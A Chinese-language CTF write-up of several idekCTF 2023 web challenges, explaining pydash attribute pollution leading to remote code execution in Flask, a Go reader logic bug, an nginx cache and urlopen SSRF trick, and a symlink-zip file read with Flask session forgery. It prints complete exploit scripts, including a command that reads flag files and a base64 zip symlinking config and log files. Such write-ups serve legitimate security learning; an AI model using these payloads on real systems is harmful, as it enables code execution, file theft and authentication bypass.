March 10, 2023

IdekCTF2023 | Web(部分)

参考:
https://y4tacker.github.io/2023/01/16/year/2023/2023IdekCTFWriteup/#2023-IdekCTF-Writeup

Task-Manager

考点:pydash原型链污染
一个事务管理器:
image.png
我觉得这是最好玩的一题了,没想到吧,python也有原型链污染,因此也让我思考起了别的语言会不会也有原型链污染呢?比如Java之类的(java还是不太可能)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os

app = Flask(__name__)

@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
task, status = request.json.get('task'), request.json.get('status')
if not task or type(task) != str:
return {"message": "You must provide a task name as a string!"}, 400
if len(task) > 150:
return {"message": "Tasks may not be over 150 characters long!"}, 400
if status and len(status) > 50:
return {"message": "Statuses may not be over 50 characters long!"}, 400
if not status:
tasks.complete(task)
return {"message": "Task marked complete!"}, 200
if type(status) != str:
return {"message": "Your status must be a string!"}, 400
if tasks.set(task, status):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400

@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
try:
task = request.json.get('task')
return tasks.get(task)
except:
return tasks.get_all()

@app.route('/')
def index():
return redirect("/home.html")

tasks = TaskManager()

app.run('0.0.0.0', 6666)

还有一个taskmanager.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pydash

class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]

def __init__(self):
self.set("capture the flag", "incomplete")

def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True

def complete(self, task):
if task in self.protected:
return
pydash.set_(self, task, False)
return True

def get(self, task):
if hasattr(self, task):
return {task: getattr(self, task)}
return {}

def get_all(self):
return self.__dict__

这里出现了一个没咋见过的库,pydash,有没有联想到nodejs里的lodash库,点进去看看:
image.png
是不是和原型链污染一模一样,将右边的对象赋值给左边,做一个链式调用,分析一手逻辑,其实很简单,主要逻辑就在创建Task里面,因为在这里会调用pydash的set方法:
image.png
task和status都是我们可控的变量,还有需要注意的就是init方法:
image.png
@app.before_first_request标签修饰了,代表在请求处理前,会先调用该方法,这里往模板中的全局变量添加了eval,假如添加进去了,我们就可以直接在模板标识符也就是

1
{{eval(cmd)}}

中调用eval函数执行命令,但是前提是app.env需要为yoto,也就是我们需要污染该对象
看了我写的python原型链污染的文章就会知道,想污染一个Flask应用,首先就得找到app对象,这里也是直接给出答案:
image.png

1
self.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['app'].app

一顿操作给他点到app里去,这里的moudles[‘app’]需要注意一下,因为本地pycharm起的可能是app,假如在docker里就是__main__了
因此到了这里也就有2种思路,其中就有非预期,先说预期解吧

预期解

解法一

image.png
首先这里面有个jinja_env属性用来控制模板语言的,可以看到其中2个属性很显眼:
image.png
也就是我们的模板语言标识符,这里是默认的,假如我们污染了这个是不是就可以使用我们自定义的标识符了
并且在源码中可以渲染任意文件:
image.png
那么现在也就是如果可以找到一个python内置文件,里面调用eval,我们就可以执行任意函数方法了,最终是在/usr/local/lib/python3.8/turtle.py找到了:
image.png
假如这里让模板前后标识符分别为

1
2
3
4
5
'''
'""']:\n
'''
#
\n

是不是就可以执行里面的eval(value)了?这里直接放上出题人的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

base_url = "http://localhost:1337"
#base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team"

hijack_start = """'""']:\n value = """
hijack_end = "\n"


payloads = {
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start,
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end,
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ",
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None,

}

def overwrite(attr, value):
data = {"task": attr, "status": value}
requests.post(base_url + "/api/manage_tasks", json=data)

def get_flag():
url = base_url + "/../../usr/local/lib/python3.7/turtle.py"
s = requests.Session()
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url
r = s.send(prep)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

for k, v in payloads.items():
overwrite(k, v)

get_flag()

先污染env,再污染value,最后污染标识符达到rce!
image.png

解法二

来自国外大牛的思路
https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
大致的意思就是在模板编译的时候就污染:
image.png
image.png

非预期解

观察dockerfile,里面有一个copy . .意味把dockerfile读进去了,那选手就可以读取dockerfile里的内容了:
image.png
然后flag就在Dockerfile里哈哈哈

解法一

image.png
在app下有一个属性叫做_static_url_path也就是设置静态资源文件夹和URL的映射的属性,假如我们在这里修改static为/,那么访问/staic/etc/passwd就可以读取密码实现任意文件读取

1
{"task":"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder","status":"/"}

然后访问/staic/Dockerfile获取flag
image.png

解法二

可以看看jinja模板是怎么处理目录穿越的jinja2.loaders.FileSystemLoader.get_source:
image.png
image.png
可以看到过滤了这个..,因此不能目录穿越,那我们只需污染os.path.pardir即可任意文件读取
"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar":

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re

base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "Boogipop"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

image.png

ReadME

考点:GO中有关io的知识,逻辑漏洞
听说是个签到题,我拿来审审看:
其实这里y4大佬也没有讲的十分细腻,可能y4爷认为很简单这东西,但实际上对于没深入学习go的人还是有点难度的,因此我写的详细一点儿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
package main

import (
"bufio"
"bytes"
"context"
"crypto/sha256"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/http"
"os"
"time"
)

var password = sha256.Sum256([]byte("idek"))
var randomData []byte

const (
MaxOrders = 10
)

func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}

type ReadOrderReq struct {
Orders []int `json:"orders"`
}

func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()

body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}

reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}

if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}

reader := bytes.NewReader(randomData)
validator := NewValidator()

ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}

ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}

if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}

w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}

func main() {
if _, exists := os.LookupEnv("LISTEN_ADDR"); !exists {
panic("env LISTEN_ADDR is required")
}
if _, exists := os.LookupEnv("FLAG"); !exists {
panic("env FLAG is required")
}

initRandomData()

http.HandleFunc("/just-read-it", justReadIt)

srv := http.Server{
Addr: os.Getenv("LISTEN_ADDR"),
ReadTimeout: 5 * time.Second,
WriteTimeout: 5 * time.Second,
}

fmt.Printf("Server listening on %s\n", os.Getenv("LISTEN_ADDR"))
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}

type Validator struct{}

func NewValidator() *Validator {
return &Validator{}
}

func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}

func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}

func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}

const (
reqValReaderKey = "readerKey"
reqValSizeKey = "reqValSize"
)

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}

func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
ctx = context.WithValue(ctx, reqValReaderKey, r)
ctx = context.WithValue(ctx, reqValSizeKey, size)
return ctx
}

先选择性装一手Goland为以后打go做铺垫()
审计一下代码,这里差点审哭我了真的,从这一题我深刻的学习了一波GO的read机制,虽然我没咋学过go语言,但是感觉还是可以看懂的,也学到了些新东西QWQ,说一下整体逻辑:

我们就直接从payload讲,这一题的payload是:
{"Orders":[100,100,100,60,60,60,60,60,30,7]}
为什么是这个答案,现在我们就来逆向分析一波,首先下个断点:
image.png
直接给在入口函数,然后跟进调试
image.png
记住这2个变量,reader和validator,这两个遍历贯彻全文,先对他们两进行初始化,其中reader的初始化传入了randomData变量,这会发生什么呢?
image.png
该变量的s属性变为了randomData的值,这个长度为24576的数组就是randomData
然后初始化了validator,这里validator是最后用来判断密码和buf是否相同:
image.png
因此继续往下看,随之就进入了我所说的for循环,遍历传入的orders数组:
image.png
首先调用一个CheckReadOrede,这个函数就是判断orders数组中的元素值是否超过100:
image.png
不能小于0也不能大于100,那么我们怎么样才能达到16252这么大的值呢?继续往下分析:
image.png
出现了一个比较重要的ctx,contenxt对象,传入了初始化的reader和int(o),这里的o就是orders里的第一个元素,刚开始遍历,进入WithValidatorCtx函数看看逻辑:
image.png
在这里出现2个变量,都有提前定义好:
image.png
这个函数是做什么的呢?实际上是往ctx对象中加入2组键值对,分别是"readerKey"=>reader"reqValsize"=>size,这个size就是上面的100,随之继续往下走:
image.png
接着进入validator的read方法:
image.png
先调用了GetValidatorCtxData方法,这个和之前的with是对应的,那个是存入,这个则是取出:
image.png
但是注意这里面的判断if size >= 100,这里我们的size就是100,因此会调用 bufio.NewReader(reader),跟进看看
image.png
这里返回了一个新的reader,并且指定了新的大小defaultBufSize,这个值刚好是4096:
image.png
这就是我们传100的作用,继续往下走
image.png
调用刚刚返回的reader的Read方法,读取buf个单位的字节(默认100),可以进去看看Read的逻辑:
image.png
有一些判断,b.r==b.w都是0,但是这里由于返回了一个4096大小的buf,因此len(p)小于buf,因此不进入if里,继续往下走
image.png
这里很关键,b.rd通过Read方法将其属性i增加4096个单位,也就是往前读4096个单位,继续走退出循环,然后之后2个100都是同样的流程,直接跳到最后一个100:
image.png
此时i变为12288,至此为100的元素读取完毕,开始读取正常元素,首先是5个60,它们的不同点有2个,一个是NewReader方法只返回60大小而不是4096,,另一个是刚刚说的Read方法里:
image.png
进入了一个不同的Read方法,这里的主要注意那个copy方法,会覆盖b也就是我们buf的内容为r.s[r.i:],这里r.s就是一开始的randomData,r.i则是上面一直在叠加的读取大小:
image.png
因此到了最后一个7的时候,退出了循环,这时r.i就是12625,紧接着调用Validate方法:
image.png
可以看到会进入Read方法对buf进行赋值:
image.png
跟进
image.png
这时这个16252的作用就来了,因为一开始password就是randomData变量从16252索引往下数32个单位,这里刚好就是这么多数据,也就是完全返回了password,因此输出flag:
image.png

Proxy viewer

考点:Nginx缓存和urlopen特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, request, render_template
from urllib.request import urlopen
from waitress import serve
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import os

app = Flask(
__name__,
static_url_path='/static',
static_folder='./static',
)

PREMIUM_TOKEN = os.urandom(32).hex()

limiter = Limiter(app, key_func=get_remote_address)

@app.after_request
def add_headers(response):
response.cache_control.max_age = 120
return response

@app.route('/')
def index():
return render_template('index.html')

@app.route('/proxy/<path:path>')
@limiter.limit("10/minute")
def proxy(path):
remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr
is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"
try:
page = urlopen(path, timeout=.5)
except:
return render_template('proxy.html', auth=is_authorized)
if is_authorized:
output = page.read().decode('latin-1')
else:
output = f"<pre>{page.headers.as_string()}</pre>"
return render_template('proxy.html', auth=is_authorized, content=output)

@app.route('/premium')
def premium():
return "we're sorry, but premium membership is not yet available :( please check back soon!"

serve(app, host="0.0.0.0", port=3000, threads=20)

可以看到题目给出了一个SSRF的点,假如XFF头为本地那么就进去,是不是直接价格127.0.0.1进去就完事了呢?可以看看nginx的配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
events {
worker_connections 1024;
}

http {
include mime.types;
proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off;

server {

listen 1337;
client_max_body_size 64M;

location / {
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://localhost:3000;
}

location ^~ /static/ {
proxy_pass http://localhost:3000;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_cache my_zone;
add_header X-Proxy-Cache $upstream_cache_status;
}
}
}

可以看到他会在/后面的路由都加上一个XFF头,内容是$proxy_add_x_forwarded_for,这是啥意思呢?
image.png
他会在我们自定义的xff头后面再追加一个真实ip,因此无法伪造,也就无法利用这一点进行SSRF,但是nginx配置中有一点^~ /static/,他会对/static路由下的请求进行缓存,然后我还要介绍python中urlopen的一个trick

1
2
3
4
5
6
7
8
9
10
11
12
13
@full_url.setter
def full_url(self, url):
# unwrap('<URL:type://host/path>') --> 'type://host/path'
self._full_url = unwrap(url)
self._full_url, self.fragment = _splittag(self._full_url)
self._parse()

def _splittag(url):
"""splittag('/path#tag') --> '/path', 'tag'."""
path, delim, tag = url.rpartition('#')
if delim:
return path, tag
return url, None

urlib会自动去除你请求的#,但是这个对urllib的版本有要求,比如我py3.7中默认的urllib就不长这样子,具体能不能行另说,知道这个trick就好
因此我们可以先输入http://localhost:5000/proxy/http://localhost:5000/proxy/file:///flag%2523/../../../static/a
输入过后python的urllib会解析为http://localhost:5000/proxy/file:///flag,这里相当于套了个娃,然后第二层里面又解析为file:///flag,在第二层nginx会解析为:http://localhost:1337/staic/a,因此缓存/proxy/file:///flag%23/../../../static/a这个路由,我们只要再次访问该路由即可获得flag
image.png
image.png

SimpleFileServer

考点:symlink软连接hook任意文件读取,flask session伪造
这里其实涉及一个小tips,那就是软连接ln,在学linux的时候也学到了这东西,假如我们可以文件上传并且可以读取上传的文件,那么这时候软连接就派上用场了,拿这一题为例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import logging
import os
import re
import sqlite3
import subprocess
import uuid
import zipfile

from flask import (Flask, flash, redirect, render_template, request, abort,
send_from_directory, session)
from werkzeug.security import check_password_hash, generate_password_hash


app = Flask(__name__)
DATA_DIR = "/tmp/"

# Uploads can only be 2MB in size
app.config['MAX_CONTENT_LENGTH'] = 2 * 1000 * 1000

# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

# Set secret key
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

@app.route("/")
def index():
return render_template("index.html")


@app.route("/login", methods=["GET", "POST"])
def login():
session.clear()

if request.method == "GET":
return render_template("login.html")

username = request.form.get("username", "")
password = request.form.get("password", "")
with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?", (username,))
user = res.fetchone()
if not user or not check_password_hash(user[0], password):
flash("Incorrect username/password", "danger")
return render_template("login.html")

session["uid"] = username
session["admin"] = user[1]
return redirect("/upload")


@app.route("/register", methods=["GET", "POST"])
def register():
session.clear()

if request.method == "GET":
return render_template("register.html")

username = request.form.get("username", "")
password = request.form.get("password", "")
if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}", username):
flash("Invalid username/password", "danger")
return render_template("register.html")

with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT username FROM users WHERE username=?", (username,))
if res.fetchone():
flash("That username is already registered", "danger")
return render_template("register.html")

db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, generate_password_hash(password)))
db.commit()

session["uid"] = username
session["admin"] = False
return redirect("/upload")


@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")

if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")

file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")


@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)


@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

逻辑其实很简单,想办法伪造admin的session,那就要想办法获取SECRET_KEY了,我们看看逻辑:

1
2
3
4
5
6
7
import random
import os
import time

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

他由2个要点构成:

只要知道了上面2个要素,就知道了random的seed值,那我们就可以伪造admin session从而获取flag,那现在需要思考的也就是如何如何获取了,首先是time,可以看app文件里,题目好心的在日志里输出了时间:
image.png
然后SECRET_KEY放在了config.py文件里,因此现在的思路就很清晰了,直接构造server.log和config.py文件的软连接然后读下来即可:
image.png
接下来直接放一下y4爷的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64

import requests, re, time, datetime, random
import flask_unsign

sess = requests.session()
SECRET_OFFSET = -67198624 * 1000
userinfo = {"username": "yyds", "password": "yyds"}
baseurl = "http://127.0.0.1:1337/"
pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"
cookie = ""
log_url = ""

def register():
reg_url = baseurl + "register"
sess.post(reg_url, userinfo)


def login():
global cookie
set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']
cookie = set_cookie[8:82]


def upload():
global log_url
log_url = re.search('<a href="/uploads/.*">', sess.post(
baseurl + "upload", headers={'Cookie': f'session={cookie}'},
files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]

def read():
server_log = baseurl + log_url + "/server.log"
config = baseurl + log_url + "/config.py"
SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000
log = sess.get(server_log).text
now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000
return SECRET_OFFSET,now



if __name__ == '__main__':
register()
login()
upload()
SECRET_OFFSET, now = read()
while 1:
decoded = {'admin': True, 'uid': userinfo['username']}
random.seed(round(now + int(SECRET_OFFSET)))
SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
flag_url = baseurl + "flag"
res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text
if "idek" not in res:
now += 1
print(now)
continue
print(res)
break

Paywall

考点:Filterchain
使用探姬改的脚本就好了(挺好用的)
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#IdekCTF